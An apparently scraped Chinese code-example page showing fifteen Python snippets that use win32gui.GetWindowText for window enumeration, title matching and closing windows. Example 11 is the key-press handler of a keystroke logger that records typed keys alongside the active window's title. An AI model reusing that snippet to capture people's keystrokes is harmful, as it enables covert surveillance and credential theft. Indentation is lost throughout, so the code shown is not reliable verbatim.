本文整理汇总了Python中win32gui.GetWindowText方法的典型用法代码示例。如果您正苦于以下问题:Python win32gui.GetWindowText方法的具体用法?Python win32gui.GetWindowText怎么用?Python win32gui.GetWindowText使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类win32gui
的用法示例。
在下文中一共展示了win32gui.GetWindowText方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: dumpWindow
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def dumpWindow(hwnd, wantedText=None, wantedClass=None):
'''
:param hwnd: 窗口句柄
:param wantedText: 指定子窗口名
:param wantedClass: 指定子窗口类名
:return: 返回父窗口下所有子窗体的句柄
'''
windows = []
hwndChild = None
while True:
hwndChild = win32gui.FindWindowEx(hwnd, hwndChild, wantedClass, wantedText)
if hwndChild:
textName = win32gui.GetWindowText(hwndChild)
className = win32gui.GetClassName(hwndChild)
windows.append((hwndChild, textName, className))
else:
return windows
示例2: init
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def init(debug :bool =False) -> Dict[int, Tuple[int, int, int, int]]:
"""Finds the game window and returns its coords."""
if platform.release() == "10":
ctypes.windll.shcore.SetProcessDpiAwareness(2)
else:
ctypes.windll.user32.SetProcessDPIAware()
def window_enumeration_handler(hwnd, top_windows):
"""Add window title and ID to array."""
top_windows.append((hwnd, win32gui.GetWindowText(hwnd)))
if debug:
window_name = "debugg"
else:
window_name = "play ngu idle"
top_windows = []
windows = []
candidates = {}
win32gui.EnumWindows(window_enumeration_handler, top_windows)
windows = [window[0] for window in top_windows if window_name in window[1].lower()]
for window in windows:
candidates[window] = Window.winRect(window)
return candidates
示例3: enumCallback
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def enumCallback(hwnd, self):
title = win32gui.GetWindowText(hwnd)
for name in self.WindowNames:
if title.find(name) > -1:
try:
self.FoundWindowEvent.set()
if self.CloseWindows:
win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
except:
pass
else:
try:
win32gui.EnumChildWindows(hwnd, _WindowWatcher.enumChildCallback, self)
except:
pass
return True
示例4: enumCallback
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def enumCallback(hwnd, args):
"""
Will get called by win32gui.EnumWindows, once for each
top level application window.
"""
proc = args[0]
windowName = args[1]
try:
# Get window title
title = win32gui.GetWindowText(hwnd)
# Is this our guy?
if title.find(windowName) == -1:
win32gui.EnumChildWindows(hwnd, FileWriterLauncherGui.enumChildCallback, args)
return
# Send WM_CLOSE message
win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
except:
pass
示例5: enumChildCallback
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def enumChildCallback(hwnd, args):
"""
Will get called by win32gui.EnumWindows, once for each
top level application window.
"""
proc = args[0]
windowName = args[1]
try:
# Get window title
title = win32gui.GetWindowText(hwnd)
# Is this our guy?
if title.find(windowName) == -1:
return
# Send WM_CLOSE message
win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
except:
pass
#print sys.exc_info()
示例6: enumCallback
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def enumCallback(hwnd, windowName):
"""
Will get called by win32gui.EnumWindows, once for each
top level application window.
"""
try:
# Get window title
title = win32gui.GetWindowText(hwnd)
# Is this our guy?
if title.find(windowName) == -1:
win32gui.EnumChildWindows(hwnd, FileWriterLauncherGui.enumChildCallback, windowName)
return
# Send WM_CLOSE message
win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
except:
pass
示例7: enumChildCallback
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def enumChildCallback(hwnd, windowName):
"""
Will get called by win32gui.EnumWindows, once for each
top level application window.
"""
try:
# Get window title
title = win32gui.GetWindowText(hwnd)
# Is this our guy?
if title.find(windowName) == -1:
return
# Send WM_CLOSE message
win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
except:
pass
#print sys.exc_info()
示例8: dumpSpecifiedWindow
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def dumpSpecifiedWindow(hwnd, wantedText=None, wantedClass=None):
'''
:param hwnd: 父窗口句柄
:param wantedText: 指定子窗口名
:param wantedClass: 指定子窗口类名
:return: 返回父窗口下所有子窗体的句柄
'''
windows = []
hwndChild = None
while True:
hwndChild = win32gui.FindWindowEx(hwnd, hwndChild, wantedClass, wantedText)
if hwndChild:
textName = win32gui.GetWindowText(hwndChild)
className = win32gui.GetClassName(hwndChild)
windows.append((hwndChild, textName, className))
else:
return windows
示例9: dumpWindow
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def dumpWindow(hwnd, wantedText=None, wantedClass=None):
"""
:param hwnd: 窗口句柄
:param wantedText: 指定子窗口名
:param wantedClass: 指定子窗口类名
:return: 返回父窗口下所有子窗体的句柄
"""
windows = []
hwndChild = None
while True:
hwndChild = win32gui.FindWindowEx(hwnd, hwndChild, wantedClass, wantedText)
if hwndChild:
textName = win32gui.GetWindowText(hwndChild)
className = win32gui.GetClassName(hwndChild)
windows.append((hwndChild, textName, className))
else:
return windows
示例10: __call__
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def __call__(self):
if self.plugin.runFlg and self.plugin.mpcHwnd:
try:
child = GetDlgItem(self.plugin.mpcHwnd, 10021)
if GetClassName(child) == "#32770":
statText = GetDlgItem(child, 12027)
if GetClassName(statText) == "Static":
elaps, total = GetWindowText(statText).split(" / ")
elaps = GetSec(elaps)
totSec = GetSec(total)
rem = strftime('%H:%M:%S', gmtime(totSec-elaps))
elaps = strftime('%H:%M:%S', gmtime(elaps))
total = strftime('%H:%M:%S', gmtime(totSec))
except:
return None, None, None
return elaps, rem, total
else:
eg.programCounter = None
raise self.Exceptions.ProgramNotRunning
#===============================================================================
示例11: on_press
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def on_press(key):
global old_app
new_app = win32gui.GetWindowText(win32gui.GetForegroundWindow())
if new_app == 'Cortana':
new_app = 'Windows Start Menu'
else:
pass
if new_app != old_app and new_app != '':
logged_data.append(f'[{datetime}] ~ {new_app}\n')
old_app = new_app
else:
pass
substitution = ['Key.enter', '[ENTER]\n', 'Key.backspace', '[BACKSPACE]', 'Key.space', ' ',
'Key.alt_l', '[ALT]', 'Key.tab', '[TAB]', 'Key.delete', '[DEL]', 'Key.ctrl_l', '[CTRL]',
'Key.left', '[LEFT ARROW]', 'Key.right', '[RIGHT ARROW]', 'Key.shift', '[SHIFT]', '\\x13',
'[CTRL-S]', '\\x17', '[CTRL-W]', 'Key.caps_lock', '[CAPS LK]', '\\x01', '[CTRL-A]', 'Key.cmd',
'[WINDOWS KEY]', 'Key.print_screen', '[PRNT SCR]', '\\x03', '[CTRL-C]', '\\x16', '[CTRL-V]']
key = str(key).strip('\'')
if key in substitution:
logged_data.append(substitution[substitution.index(key)+1])
else:
logged_data.append(key)
示例12: get_window_title
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def get_window_title(hwnd):
return win32gui.GetWindowText(hwnd)
示例13: _chosegamehandle
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def _chosegamehandle(self,HWND):
if not HWND : return HWND
else:
for handle in HWND:
windowtext = win32gui.GetWindowText(handle)
if ":" not in windowtext:
return handle
示例14: _windowEnumerationHandler
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def _windowEnumerationHandler(self, hwnd, resultList):
#
# Get a list of the top level windows so I can find Program Manager
#
resultList.append((hwnd, win32gui.GetWindowText(hwnd)))
示例15: getWindowText
# 需要导入模块: import win32gui [as 别名]
# 或者: from win32gui import GetWindowText [as 别名]
def getWindowText(hwnd):
return win32gui.GetWindowText(hwnd)